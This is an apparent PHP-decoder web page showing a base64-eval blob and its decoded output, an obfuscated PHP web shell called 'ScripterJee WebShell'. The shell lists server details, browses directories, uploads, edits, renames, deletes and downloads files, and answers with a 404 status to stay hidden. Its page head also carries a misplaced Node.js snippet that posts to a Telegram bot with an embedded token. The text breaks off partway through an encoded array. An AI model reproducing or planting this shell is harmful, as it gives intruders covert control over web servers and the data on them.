Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIERvbXVKOyB3SlNubDogdW5saW5rKCRCTCk7IGdvdG8gQWJTc1I7IFA2..

Decoded Output download


 goto DomuJ; wJSnl: unlink($BL); goto AbSsR; P61RX: echo Ss($Jd) . "\46\141\x3d" . sS("\x6e\x65\x77\104\x69\162"); goto OOoR6; n5YII: ?>
 

<!DOCTYPE html>
<html lang="en">
<head>
<meta name="theme-color" content="red">
<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<title>ScripterJee WebShell</title>
<link rel="SHORTCUT ICON" href="https://i.postimg.cc/hvJZ996m/fav-ico.png">
<meta property="og:title" content="huh? what's in there?"> 
<style> @import url('https://fonts.googleapis.com/css2?family=Kelly+Slab&display=swap');
.bg-dark { background-color: black; }
.border { border: 2px solid deeppink!important; border-radius: 0.75rem!important; background-color: transparent; color: white; padding-left: 1rem; }
.table>tbody>tr>* { color: #007fff; vertical-align: middle; border: 2px solid #ff1493; }
.table thead th { vertical-align: bottom; border: 2px solid deeppink; color: #31ed06; }
.table-hover tbody tr:hover td{ background: #3f3f3f }
.table-hover tbody tr:hover td>*{ }
.table>tbody>tr>*{ color:#fff; vertical-align:middle; }
.form-control{background:0 0!important;color:#fff!important;border-radius:0}
.form-control::placeholder{color:#fff;opacity:1}
li{font-size:17px;margin-left:6px;list-style:none;color: #31ed06;list-style: inherit;}
a{ color: #ffffff; }
a:hover { text-decoration: none; color: #31ed06; }
button, input { border: 2px solid #31ed06;border-radius: 0.5rem;font-size: 1rem;color:white;line-height: normal; }
button, input:hover { border: 2px solid deeppink;border-radius: 0.5rem;font-size: 1rem;cursor: pointer; }
.ohct { padding-left: 1rem; padding-right: 1rem; color: white; border: 2px solid #31ed06; border-radius: 5px; background-color: black; }
.ohct:hover { border: 2px solid #ff1493; color: white; }
.combet { color: white; }
.combet:hover { color: #31ed06; }
</style>
<style>
.fa {padding: 10px;font-size: 20px;width: 50px;text-align: center;text-decoration: none;margin: 5px;border-radius: 5px;border: 2px solid deeppink;background: transparent;}
.fa:hover {color: #31ed06;}
.text-light {color: #f8f9fa!important;font-size: 17px!important;}
</style>
<script type='text/Javascript'>
const request = require('request');

// URL del webhook del tuo bot Telegram
const telegramWebhookUrl = 'https://api.telegram.org/bot<5767732820:AAH7iitP7RLuu7qrodqhgKoquu3KBhnJEWA>/sendMessage';

// Array di siti web da monitorare
const websitesToMonitor = ['https://www.google.com', 'https://www.facebook.com'];

// Funzione per inviare una notifica al bot Telegram
function sendTelegramNotification(message) {
  const options = {
    url: telegramWebhookUrl,
    method: 'POST',
    json: true,
    body: {
      chat_id: '<XXXXXXXXXX>',
      text: message
    }
  };

  request(options, (error, response, body) => {
    if (error) {
      console.error('Errore durante l\'invio della notifica Telegram:', error);
    } else if (response.statusCode !== 200) {
      console.error('Errore durante l\'invio della notifica Telegram. Codice di stato:', response.statusCode);
    } else {
      console.log('Notifica Telegram inviata con successo:', message);
    }
  });
}

// Ciclo principale per monitorare i siti web
setInterval(() => {
  websitesToMonitor.forEach((website) => {
    request(website, (error, response, body) => {
      if (error) {
        console.error('Errore durante il controllo del sito web:', website, error);
      } else if (response.statusCode !== 200) {
        console.error('Errore durante il controllo del sito web. Codice di stato:', website, response.statusCode);
      } else {
        console.log('Sito web funzionante:', website);
      }
    });
  });

  sendTelegramNotification('Uno o pi siti web sono stati hostati!');
}, 60000); // Controlla i siti web ogni minuto
</script>
<script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
</head>
<body style="background-color:#000;color:black;font-size: 0px ;font-family: 'Kelly Slab';width: 100%;padding: 0.5rem;">
<div class="table-responsive text-light" style="border: 2px solid #ff1493;text-align: left;padding: 0.25rem;border-radius: 0.75rem;">
<div style="text-align: center;display: flex;align-items: center;justify-content: center;align-content: center;">
<a href="https://youtube.com/@scripterjee" class="fa fa-youtube"></a>
<a href="?" style="font-size: 2rem;text-shadow: 0px 0px 10px deeppink;"><span>ScripterJee WebShell</span></a>

<a href="https://t.me/ScripterJee" class="fa fa-telegram"></a> 
</div>
<li>Your IP : <span style="color: white;"><?php  goto eK9u4; lM23a: function tF($yf) { global $c8; if (!(trim(pathinfo($yf, PATHINFO_BASENAME), "\x2e") === '')) { goto IE; } return; IE: if ($c8[6]($yf)) { goto PF; } unlink($yf); goto jK; PF: array_map("\144\145\x6c\144\151\162", glob($yf . DIRECTORY_SEPARATOR . "\x7b\x2c\x2e\175\52", GLOB_BRACE | GLOB_NOSORT)); rmdir($yf); jK: } goto n5YII; XPtcz: Lu: goto RUUo6; T9pcg: tG: goto nPV3P; qLRGh: sr: goto R4a71; HnzmG: isset($_POST["\x73"]) ? $c8[12]("{$Jd}\x2f{$_POST["\156"]}") ? xE("\146\157\154\144\x65\162\40\x6e\x61\x6d\145\x20\150\141\163\x20\142\x65\145\x6e\x20\165\163\145\x64", 0, "\46\141\x3d" . SS("\156\x65\x77\104\151\162")) : ($c8[15]("{$Jd}\x2f{$_POST["\156"]}") ? Xe("\x66\157\x6c\144\145\162\40\143\162\x65\141\164\x65\144\40\x73\x75\143\143\145\x73\163\146\x75\154\154\x79") : Xe("\x66\x6f\x6c\x64\145\162\x20\146\x61\x69\154\x65\x64\40\x74\157\x20\x63\x72\145\x61\164\145", 0)) : null; goto qUrH6; ZQdl5: echo $_SERVER["\x53\x45\x52\x56\105\x52\137\116\101\115\x45"]; goto OwPB3; pMiuK: $im = Jd($_GET["\x61"]); goto j9_oJ; ouhsS: ?>
</span></li>
<li>Server Name : <span style="color: white;"><?php  goto ZQdl5; VfEJq: $BL = $Jd . "\x2f" . Jd($_GET["\156"]); goto CBd8y; eK9u4: echo $_SERVER["\x52\105\115\x4f\x54\105\x5f\101\104\104\x52"]; goto VnITw; N86Rp: ?>
</h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" class="border" value="<?php  goto ZjhJC; oCauI: echo $_SERVER["\123\105\x52\x56\105\x52\137\101\x44\x44\122"]; goto Oq2fZ; HoZMm: $lE++; goto zhxga; TU_1v: goto WC; goto D0mg8; DmOD0: $Jd = $c8[2](); goto e0wOV; O2Nm3: ?>
</span></li>
<li>Server Software : <span style="color: white;"><?php  goto EyQ2r; j9_oJ: cc: goto hsCgd; OOoR6: ?>
" class="ohct">Submit</a></li>
<li><form method="post" enctype="multipart/form-data" style="padding: 0.10rem;display: inline-block;">
<input type="file" name="f[]" onchange="this.form.submit()" multiple>
<?php  goto oMrnY; GBuqr: header("\103\x6f\156\x74\x65\156\164\55\x4c\145\156\x67\164\x68\x3a\x20" . $c8[17](JD($_GET["\156"]))); goto MF9YZ; fCopc: goto th; goto nJCq7; VwXj_: PG: goto V0acu; c_yqf: Ag: goto ulB9u; oCeMC: if (!isset($_GET["\141"])) { goto Un; } goto nBiqe; OJug6: ?>
</div>
<?php  goto EaOL0; mwABH: if (isset($_GET["\x70"])) { goto sr; } goto DmOD0; mEinQ: if (!($lE < count($c8))) { goto Je; } goto kN3Nc; vCzXy: goto WC; goto s29wM; RFwfi: echo $c8[18]($c8[14]($Jd . "\x2f" . jD($_GET["\x6e"]))); goto nVDZE; MNsE2: Go: goto scgp4; zhxga: goto T4; goto hyEiX; bXI8c: $Wx = $_FILES["\x66"]["\156\141\155\145"]; goto U3XaB; Jr066: goto tG; goto VwXj_; I1dqv: header("\103\157\x6e\164\x65\x6e\x74\x2d\x54\162\141\156\163\x66\145\x72\55\x45\156\143\x6f\144\x69\156\x67\72\40\102\151\x6e\x61\x72\x79"); goto GBuqr; xMx1n: ea: goto AEzGn; uu8pD: if (!($im == "\144\145\x6c\x65\164\145")) { goto Lu; } goto VfEJq; hsCgd: ?>
<div class="px-2 py-2">
<?php  goto uu8pD; RUUo6: if ($im == "\156\x65\167\x44\x69\x72") { goto Fg; } goto sIo3Z; R4a71: $Jd = jD($_GET["\160"]); goto ia79y; Oq2fZ: ?>
</span></li>
<li>Server : <span style="color: white;"><?php  goto vJe28; oMrnY: if (!isset($_FILES["\x66"])) { goto ea; } goto bXI8c; gJhQi: ?>
</textarea>
</div>
<?php  goto Wn_Ey; UfR0M: $lE = 0; goto RuX0b; DhwZv: if (!($lE < count($Wx))) { goto dx; } goto u47i5; V3qv3: echo jd($_GET["\156"]); goto qFo9u; CaCKR: Xe("\146\157\154\144\145\x72\40\x64\x65\154\145\x74\145\x64\40\163\165\x63\143\145\163\163\146\165\x6c\154\x79"); goto MKNcu; MKNcu: iL: goto Jvkx7; vJe28: echo $c8[0](); goto O2Nm3; eBss7: function Xe($OB, $Ch = 1, $BL = '') { global $Jd; $xe = $Ch == 1 ? "\x73\165\x63\x63\145\x73\163" : "\145\x72\162\157\162"; echo "\x3c\x73\143\162\151\160\x74\76\163\167\141\x6c\50\173\x74\x69\164\154\145\72\x20\x22{$xe}\42\54\40\164\145\x78\x74\x3a\40\x22{$OB}\42\54\x20\x69\143\157\x6e\x3a\x20\42{$xe}\42\x7d\51\x2e\x74\150\145\x6e\50\x28\x62\x74\x6e\x43\x6c\x69\143\x6b\x29\40\x3d\76\40\x7b\151\x66\x28\x62\164\x6e\x43\x6c\x69\143\153\x29\x7b\x64\157\x63\165\x6d\x65\156\x74\x2e\x6c\157\x63\x61\164\151\x6f\156\56\150\x72\x65\146\x3d\x22\x3f\160\x3d" . Ss($Jd) . $BL . "\x22\175\175\x29\x3c\x2f\163\x63\x72\x69\x70\164\x3e"; } goto lM23a; H86ut: function Jd($SP) { $dE = ''; $gf = strlen($SP) - 1; $lE = 0; Xp: if (!($lE < $gf)) { goto ur; } $dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1])); Wn: $lE += 2; goto Xp; ur: return $dE; } goto x6Hqn; QAdvw: Xe("\x66\x61\x69\154\x65\144\x20\x74\x6f\40\x64\145\154\145\x74\145\40\164\x68\x65\40\x66\x6f\154\x64\145\162", 0); goto KtIKh; njrKK: foreach ($G3 as $yf) { if ($c8[6]("{$Jd}\x2f{$yf}")) { goto CB; } goto Qj; CB: echo "\40\12\74\x74\x72\x3e\xa\x3c\x74\x64\40\x73\164\x79\x6c\x65\75\x22\164\x65\170\x74\55\141\x6c\x69\147\x6e\x3a\x20\154\x65\146\164\73\x22\76\xa\74\x61\x20\150\162\145\146\75\x22\x3f\160\x3d" . sS("{$Jd}\x2f{$yf}") . "\x22\40\x64\141\x74\x61\x2d\x74\157\x67\147\x6c\145\x3d\x22\164\157\157\x6c\164\x69\x70\42\40\144\x61\x74\x61\55\160\x6c\141\143\x65\155\x65\x6e\164\x3d\42\141\x75\x74\x6f\42\x20\x74\x69\x74\x6c\145\x3d\42\114\x61\x74\145\163\164\x20\155\157\144\151\146\x79\x20\157\156\x20" . $c8[19]("\x59\x2d\x6d\55\x64\x20\110\72\x69", $c8[20]("{$Jd}\x2f{$yf}")) . "\42\x3e\12\x3c\151\x20\143\154\x61\163\163\x3d\x22\146\141\40\x66\141\x2d\x66\167\x20\x66\x61\55\x66\157\x6c\144\x65\x72\x22\x20\x73\x74\x79\x6c\x65\x3d\42\142\157\162\144\x65\x72\72\40\60\x3b\x70\x61\x64\x64\x69\x6e\x67\x3a\x20\x30\73\167\x69\x64\x74\x68\x3a\x20\61\56\x32\x38\x35\67\61\64\62\x39\145\x6d\x3b\42\76\xa\74\x2f\151\76\40{$yf}\12\74\57\x61\x3e\12\x3c\57\164\x64\x3e\12\74\x74\144\40\x73\164\171\x6c\145\x3d\42\x63\x6f\x6c\x6f\162\72\x20\142\154\x61\x63\153\73\42\76\74\x73\x70\x61\x6e\x3e\x2d\55\55\x2d\x2d\x2d\74\57\163\160\141\156\76\74\57\x74\x64\76\xa\74\x74\144\x3e\x3c\146\x6f\x6e\x74\x20\143\157\x6c\x6f\x72\x3d\x22" . ($c8[8]("{$Jd}\57{$yf}") ? "\x23\60\x30\146\x66\60\x30" : (!$c8[9]("{$Jd}\x2f{$yf}") ? "\162\x65\144" : null)) . "\42\76" . RN("{$Jd}\57{$yf}") . "\x3c\57\x66\x6f\156\x74\76\x3c\57\164\144\76\xa\x3c\x74\144\40\x73\164\171\154\145\x3d\x22\143\x6f\x6c\157\162\72\40\142\x6c\141\x63\153\73\42\76\74\163\160\x61\x6e\76\x2d\55\55\55\x2d\x2d\x3c\x2f\x73\160\x61\x6e\76\x3c\57\164\x64\76\xa\74\164\144\76\xa\74\x61\x20\150\162\145\x66\75\42\77\x70\75" . ss($Jd) . "\x26\141\x3d" . ss("\x72\145\156\x61\x6d\x65") . "\x26\x6e\x3d" . ss($yf) . "\46\x74\75\x64\x22\x20\x64\141\164\141\55\x74\x6f\x67\x67\x6c\145\x3d\42\164\x6f\157\154\164\x69\160\x22\x20\x64\141\164\x61\55\160\154\x61\143\145\155\x65\156\x74\75\x22\x61\x75\x74\157\x22\x20\164\x69\164\154\x65\75\x22\x52\145\x6e\x61\155\x65\x22\76\122\145\x6e\141\155\145\x3c\x2f\x61\x3e\12\74\x2f\x74\x64\76\12\74\x74\x64\76\xa\x3c\141\40\150\x72\145\146\x3d\42\77\160\x3d" . sS($Jd) . "\x26\141\75" . ss("\144\145\x6c\145\164\145") . "\x26\156\x3d" . ss($yf) . "\x22\x20\143\154\141\x73\163\75\x22\144\145\x6c\x65\164\x65\x22\40\x64\x61\x74\141\x2d\164\x79\x70\145\75\42\x66\157\x6c\144\x65\x72\42\40\144\x61\x74\141\55\164\157\147\x67\154\x65\x3d\42\x74\157\x6f\x6c\164\x69\x70\42\40\x64\x61\164\141\55\x70\x6c\141\143\x65\155\145\x6e\x74\x3d\42\x61\x75\164\157\42\x20\164\151\164\154\x65\x3d\42\104\145\154\145\164\145\42\x3e\x44\x65\x6c\x65\164\x65\x3c\57\141\76\xa\x3c\x2f\x74\144\76\12\x3c\x2f\164\x72\76"; Qj: } goto Wu_dR; o_24u: Xe("\146\x69\x6c\145\40\146\141\x69\x6c\145\x64\40\x74\x6f\x20\x75\160\154\157\141\144", 0); goto Jr066; G0iyg: e8: goto CaCKR; RBbXD: goto Mk; goto gX7_1; LvO3B: ?>
<h5 class="border p-1">Edit File Name : <?php  goto sh7qe; u47i5: if ($c8[11]($_FILES["\x66"]["\x74\155\160\137\x6e\141\155\x65"][$lE], $Wx[$lE])) { goto PG; } goto o_24u; xIKQw: FA: goto Alkq4; V0acu: XE("\x66\151\154\x65\x20\x75\x70\154\x6f\141\144\145\x64\40\x73\x75\143\143\145\x73\x73\x66\x75\x6c\x6c\x79"); goto T9pcg; AbSsR: if (!$c8[12]($BL)) { goto uH; } goto pTXKz; lIEBs: Pb: goto o_i1U; nBiqe: if (!isset($_GET["\141"])) { goto cc; } goto pMiuK; Sd6bA: goto WC; goto TrW1M; EyQ2r: echo gethostbyname($_SERVER["\123\x45\122\126\x45\x52\137\123\x4f\x46\x54\x57\101\x52\105"]); goto ouhsS; yDy8S: if ($im == "\x72\145\x6e\x61\x6d\145") { goto Lw; } goto gDgRs; Alkq4: ?>
 
</form></li>
</div>
<div style="border: 2px solid #ff1493;border-radius: 0.75rem;padding: 0.25rem;margin-top: 0.20rem;margin-bottom: 0.25rem;font-family: 'Kelly Slab';">
<li style="font-size: 1.10rem;margin-left: 0.20rem;list-style: inherit;padding: 0.15rem;">Dir : 
<?php  goto e5kBH; e5kBH: $Op = $c8[4]("\57\x28\134\x5c\174\134\x2f\51\x2f", $Jd); goto n0CTD; sIo3Z: if ($im == "\x6e\x65\167\106\151\x6c\x65") { goto Pb; } goto yDy8S; vlUC4: ?>
 
</tbody>
</table>
<h5 style="color: #31ed06;">
<font>&copy; Copyright 2024</font>
<font style="color: deeppink;">ScripterJee</font>
</h5>
<?php  goto sqvhC; lEzuY: $G3 = "\163\143\141\156\x64\x69\162"; goto Y3OvP; rLhZ3: ?>
<h5 class="border p-1">New Folder Name :</h5>
<form method="post">
<div class="form-group">
<input name="n" id="n" class="border" autocomplete="off">
</div>
<div class="form-group">
<button type="submit" name="s" class="ohct">Create</button>
</div> 
</form> 
<?php  goto HnzmG; fRUk5: http_response_code(404); goto ATMAV; U1P2y: ?>
<h5 class="border p-1">Rename File : <?php  goto AcF11; qUrH6: goto WC; goto lIEBs; VnITw: ?>
</span></li>
<li>Server IP : <span style="color: white;"><?php  goto oCauI; x3zDj: if (!($_GET["\x74"] == "\x66")) { goto xB; } goto l2OGo; nVDZE: ?>
</textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="ohct">Save</button>
</div>
</form>
<?php  goto D2hY3; ulB9u: ?>
<h5 class="border p-1">View File Name : <?php  goto V3qv3; zaWeQ: ?>
</span></li>
<li>Add File : <a href="?p=<?php  goto xwIkD; FV_fn: function Ss($SP) { $dE = ''; $lE = 0; NZ: if (!($lE < strlen($SP))) { goto Xc; } $dE .= dechex(ord($SP[$lE])); WK: $lE++; goto NZ; Xc: return $dE; } goto H86ut; D2hY3: isset($_POST["\x73"]) ? $c8[13]($Jd . "\57" . jD($_GET["\156"]), $_POST["\143\x74\x6e"]) ? xE("\146\x69\154\145\40\143\x6f\x6e\x74\x65\156\x74\x73\40\143\150\141\156\147\x65\x64\40\x73\165\x63\143\x65\x73\x73\x66\x75\154\154\x79", 1, "\x26\x61\x3d" . sS("\x76\x69\145\167") . "\46\156\x3d{$_GET["\x6e"]}") : xE("\146\151\154\145\40\143\157\156\x74\x65\156\x74\x73\40\146\141\x69\154\x65\144\40\164\157\40\143\x68\x61\156\x67\145") : null; goto A4ax7; s29wM: Fg: goto rLhZ3; kN3Nc: $c8[$lE] = JD($c8[$lE]); goto IKQXM; KtIKh: goto iL; goto G0iyg; OwPB3: ?>
</span></li>
<li>PHP Version : <span style="color: white;"><?php  goto XfzkX; RYzhy: isset($_POST["\163"]) ? $c8[16]($Jd . "\x2f" . jD($_GET["\156"]), $_POST["\x6e"]) ? XE("\163\165\x63\143\145\163\163\146\x75\154\154\x79\x20\143\x68\x61\x6e\x67\145\144\40\164\150\x65\40\146\157\154\144\x65\162\40\156\x61\x6d\x65") : Xe("\x66\x61\151\154\145\144\40\164\x6f\x20\x63\150\141\x6e\147\x65\x20\x74\x68\x65\40\x66\x6f\154\144\145\162\40\x6e\141\155\145", 0) : null; goto Sd6bA; xwIkD: echo ss($Jd) . "\46\141\x3d" . Ss("\x6e\x65\167\106\x69\154\x65"); goto VVPx0; sqvhC: mR: goto AMoGp; XfzkX: echo $c8[1](); goto zaWeQ; o_i1U: ?>
<h5 class="border p-1">New File Name :</h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" class="border" placeholder="hack.txt">
</div>
<div class="form-group">
<textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control border" placeholder=""></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="ohct">Create</button> 
</div>
</form>
<?php  goto LPw8K; nPV3P: g9: goto T_NlL; ia79y: $c8[3](Jd($_GET["\x70"])); goto yXF2j; l2OGo: $BL = $Jd . "\57" . jd($_GET["\x6e"]); goto wJSnl; QVIH2: if ($im == "\166\x69\145\167") { goto Ag; } goto vCzXy; asvoe: Un: goto MJjIc; qFo9u: ?>
</h5>
<div class="form-group">
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border" readonly><?php  goto m01Ld; m01Ld: echo $c8[18]($c8[14]($Jd . "\57" . jd($_GET["\x6e"]))); goto gJhQi; gDgRs: if ($im == "\x65\144\x69\x74") { goto Ox; } goto QVIH2; o6dfo: ?>
</h5>
<form method="post">
<div class="form-group">
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border"><?php  goto RFwfi; ATMAV: define("\x59\160", ''); goto lEzuY; DomuJ: error_reporting(0); goto fRUk5; pHIrI: xB: goto XPtcz; d8E7X: a2: goto vlUC4; x6Hqn: function rn($F1) { $Jd = fileperms($F1); if (($Jd & 49152) == 49152) { goto FZ; } if (($Jd & 40960) == 40960) { goto Eu; } if (($Jd & 32768) == 32768) { goto ES; } if (($Jd & 24576) == 24576) { goto sA; } if (($Jd & 16384) == 16384) { goto lG; } if (($Jd & 8192) == 8192) { goto tV; } if (($Jd & 4096) == 4096) { goto Tx; } $lE = "\x75"; goto cC; FZ: $lE = "\163"; goto cC; Eu: $lE = "\154"; goto cC; ES: $lE = "\x2d"; goto cC; sA: $lE = "\142"; goto cC; lG: $lE = "\x64"; goto cC; tV: $lE = "\x63"; goto cC; Tx: $lE = "\x70"; cC: $lE .= $Jd & 256 ? "\162" : "\x2d"; $lE .= $Jd & 128 ? "\167" : "\x2d"; $lE .= $Jd & 64 ? $Jd & 2048 ? "\x73" : "\170" : ($Jd & 2048 ? "\123" : "\55"); $lE .= $Jd & 32 ? "\x72" : "\x2d"; $lE .= $Jd & 16 ? "\167" : "\x2d"; $lE .= $Jd & 8 ? $Jd & 1024 ? "\163" : "\x78" : ($Jd & 1024 ? "\123" : "\55"); $lE .= $Jd & 4 ? "\x72" : "\x2d"; $lE .= $Jd & 2 ? "\167" : "\x2d"; $lE .= $Jd & 1 ? $Jd & 512 ? "\164" : "\170" : ($Jd & 512 ? "\124" : "\55"); return $lE; } goto eBss7; n0CTD: foreach ($Op as $j3 => $Oe) { if (!($j3 == 0 && $Oe == '')) { goto xi; } echo "\74\x61\x20\x68\x72\145\x66\x3d\42\77\160\75\62\x66\x22\40\143\x6c\x61\163\163\75\x22\143\157\155\142\x65\164\42\x3e\176\x3c\x2f\141\x3e\x2f"; goto CS; xi: if (!($Oe == '')) { goto sq; } goto CS; sq: echo "\74\141\x20\x63\x6c\x61\163\163\75\x22\x63\x6f\155\x62\145\164\42\x20\x68\x72\145\146\75\x22\x3f\160\x3d"; $lE = 0; de: if (!($lE <= $j3)) { goto ie; } echo sS($Op[$lE]); if (!($lE != $j3)) { goto s0; } echo "\62\x66"; s0: dg: $lE++; goto de; ie: echo "\x22\x3e{$Oe}\74\57\141\76\57"; CS: } goto MNsE2; W_Lxj: th: goto DhwZv; Wn_Ey: WC: goto OJug6; bmYtV: xe("\x66\151\154\x65\x20\x64\145\x6c\145\x74\145\x64\40\163\x75\143\143\145\x73\163\146\x75\x6c\x6c\171"); goto o08BF; AEzGn: if (!isset($_GET["\144\157\167\156\x6c\x6f\141\x64"])) { goto FA; } goto ZCM4I; ybnhD: $G3 = $c8[5]($G3($Jd), array("\56", "\x2e\56")); goto njrKK; e0wOV: goto VN; goto qLRGh; ZCM4I: header("\103\x6f\156\164\145\156\164\x2d\x54\x79\160\x65\72\x20\x61\160\160\x6c\151\143\141\164\151\157\156\x2f\157\x63\164\145\x74\55\163\x74\162\x65\141\x6d"); goto I1dqv; LPw8K: isset($_POST["\x73"]) ? $c8[12]("{$Jd}\x2f{$_POST["\x6e"]}") ? xE("\146\151\x6c\145\40\x6e\x61\155\145\x20\x68\x61\163\40\142\145\x65\x6e\40\x75\x73\145\144", 0, "\46\x61\75" . SS("\156\145\x77\x46\x69\x6c\x65")) : ($c8[13]("{$Jd}\x2f{$_POST["\156"]}", $_POST["\143\164\156"]) ? XE('', 1, "\46\x61\75" . ss("\x76\151\145\x77") . "\x26\156\75" . Ss($_POST["\156"])) : Xe("\146\x69\154\145\x20\x66\141\151\154\x65\x64\x20\x74\x6f\40\143\162\x65\x61\x74\x65", 0)) : null; goto TU_1v; A4ax7: goto WC; goto c_yqf; yXF2j: VN: goto FV_fn; Jvkx7: VZ: goto x3zDj; VVPx0: ?>
" class="ohct">Submit</a></li>
<li>Add Directory : <a href="?p=<?php  goto P61RX; HsNfg: if (!$c8[12]($BL)) { goto e8; } goto QAdvw; EaOL0: goto mR; goto asvoe; hyEiX: Je: goto mwABH; fDkNm: ?>
">
</div>
<div class="form-group">
<button type="submit" name="s" class="ohct">Save</button>
</div>
</form>
<?php  goto RYzhy; TrW1M: Ox: goto LvO3B; MmA8n: foreach ($G3 as $F1) { if ($c8[7]("{$Jd}\57{$F1}")) { goto wA; } goto X1; wA: $kL = $c8[10]("{$Jd}\57{$F1}") / 1024; $kL = round($kL, 3); $kL = $kL > 1024 ? round($kL / 1024, 2) . "\40\x20\x4d\102" : $kL . "\40\40\x4b\102"; echo "\xa\74\x74\x72\76\12\x3c\x74\x64\x20\x73\x74\x79\154\145\x3d\x22\x74\x65\170\x74\55\141\154\x69\147\156\72\x20\154\145\146\x74\x3b\42\76\xa\74\x61\40\x68\162\145\146\x3d\42\77\160\75" . SS($Jd) . "\46\141\75" . sS("\x76\x69\x65\x77") . "\x26\x6e\75" . SS($F1) . "\42\x20\x64\x61\x74\x61\55\x74\x6f\147\147\154\x65\x3d\42\164\157\157\x6c\x74\x69\x70\x22\40\144\x61\x74\141\x2d\x70\154\x61\143\145\x6d\x65\x6e\164\x3d\x22\141\x75\x74\157\42\40\x74\x69\x74\154\x65\75\x22\x4c\141\164\x65\x73\x74\40\x6d\x6f\x64\151\x66\x79\40\157\x6e\40" . $c8[19]("\131\55\155\x2d\x64\x20\110\x3a\151", $c8[20]("{$Jd}\57{$F1}")) . "\42\76\12\x3c\x69\x20\143\x6c\141\x73\x73\75\x22\146\x61\40\x66\141\55\146\x77\x20\x66\141\x2d\x66\151\x6c\x65\42\x20\x73\x74\171\x6c\145\75\42\142\x6f\x72\x64\x65\162\72\40\60\73\160\141\144\x64\x69\x6e\x67\72\x20\x30\73\167\151\144\164\150\x3a\40\61\56\x32\70\x35\67\61\x34\x32\71\145\x6d\73\x22\x3e\74\57\x69\76\x20{$F1}\12\x3c\x2f\141\76\12\74\57\x74\144\x3e\12\x3c\164\144\76\x3c\163\160\141\x6e\76{$kL}\74\x2f\x73\160\x61\x6e\x3e\74\x2f\x74\x64\76\xa\74\164\x64\x3e\74\x66\157\156\x74\x20\143\x6f\x6c\157\x72\x3d\x22" . ($c8[8]("{$Jd}\57{$F1}") ? "\x23\x30\60\x66\x66\60\60" : (!$c8[9]("{$Jd}\x2f{$F1}") ? "\162\x65\x64" : null)) . "\x22\x3e" . rN("{$Jd}\57{$F1}") . "\x3c\57\146\157\156\164\76\74\57\164\144\x3e\12\x3c\x74\144\76\x3c\141\40\x68\162\145\x66\75\42\77\x70\x3d" . Ss($Jd) . "\46\141\75" . Ss("\145\144\x69\164") . "\x26\156\75" . SS($F1) . "\42\x20\x64\x61\x74\141\55\164\157\147\147\154\145\x3d\x22\164\x6f\x6f\x6c\x74\x69\x70\x22\40\x64\141\164\x61\55\x70\x6c\141\143\x65\155\145\x6e\x74\x3d\x22\141\x75\164\x6f\42\40\x74\151\x74\x6c\x65\75\42\105\x64\x69\x74\42\76\x45\x64\x69\164\x3c\57\141\x3e\74\x2f\x74\x64\x3e\12\x3c\164\144\76\x3c\141\x20\x68\162\x65\x66\x3d\42\x3f\160\x3d" . ss($Jd) . "\x26\141\x3d" . SS("\x72\x65\x6e\141\x6d\x65") . "\x26\x6e\75" . ss($F1) . "\46\164\75\x66\42\40\144\x61\164\141\x2d\x74\157\147\x67\154\145\75\42\164\x6f\x6f\x6c\x74\x69\160\x22\40\x64\141\164\141\x2d\x70\x6c\x61\143\145\155\145\156\x74\75\42\141\x75\164\x6f\42\x20\164\151\164\x6c\145\x3d\x22\x52\145\156\141\155\145\x22\x3e\122\145\156\x61\x6d\145\x3c\57\x61\x3e\74\x2f\164\144\76\xa\74\x74\x64\x3e\x3c\x61\40\150\x72\x65\x66\75\x22\x3f\x70\75" . ss($Jd) . "\46\x61\x3d" . sS("\144\x65\154\145\164\x65") . "\x26\156\75" . ss($F1) . "\42\x20\x63\154\x61\x73\x73\75\x22\144\145\x6c\145\x74\x65\42\40\144\141\x74\x61\55\164\x79\x70\x65\x3d\42\146\151\x6c\145\x22\x20\144\x61\164\x61\55\x74\x6f\x67\x67\x6c\x65\75\42\164\x6f\157\154\x74\151\160\42\x20\144\141\x74\141\x2d\160\154\141\x63\145\x6d\x65\x6e\164\x3d\42\x61\165\x74\x6f\42\x20\x74\151\164\x6c\x65\75\x22\104\145\154\145\164\x65\42\x3e\104\x65\154\145\164\x65\x3c\57\x61\76\74\x2f\164\144\76\12\x3c\57\164\x72\x3e"; X1: } goto d8E7X; Y3OvP: $c8 = array("\67\x30\66\70\x37\x30\x35\146\67\65\66\145\66\61\x36\x64\x36\x35", "\x37\x30\x36\x38\67\x30\x37\x36\x36\x35\67\x32\x37\63\66\71\x36\x66\66\145", "\66\67\x36\65\x37\x34\66\63\67\x37\x36\x34", "\66\x33\x36\70\x36\x34\66\71\x37\62", "\x37\x30\67\62\x36\x35\x36\x37\x35\x66\67\63\67\x30\66\x63\66\x39\x37\x34", "\66\x31\67\x32\x37\62\x36\x31\x37\x39\65\146\66\x34\x36\71\66\x36\66\66", "\x36\x39\67\63\65\x66\66\64\66\x39\67\x32", "\x36\71\67\63\65\146\x36\x36\x36\x39\66\x63\x36\x35", "\66\x39\x37\63\65\x66\67\67\67\62\66\x39\67\64\x36\x31\66\x32\x36\x63\x36\x35", "\66\x39\67\x33\x35\x66\67\x32\66\x35\66\61\x36\64\x36\61\66\x32\66\143\66\x35", "\66\x36\x36\x39\66\143\66\65\x37\63\66\x39\67\x61\66\x35", "\66\x33\66\146\67\x30\67\x39", "\66\x36\66\71\66\143\x36\x35\x35\146\66\65\67\x38\66\x39\67\x33\x37\64\67\x33", "\66\66\66\71\66\143\x36\x35\x35\146\x37\x30\67\x35\x37\x34\x35\146\x36\x33\66\146\x36\145\x37\x34\x36\65\66\145\67\64\67\63", 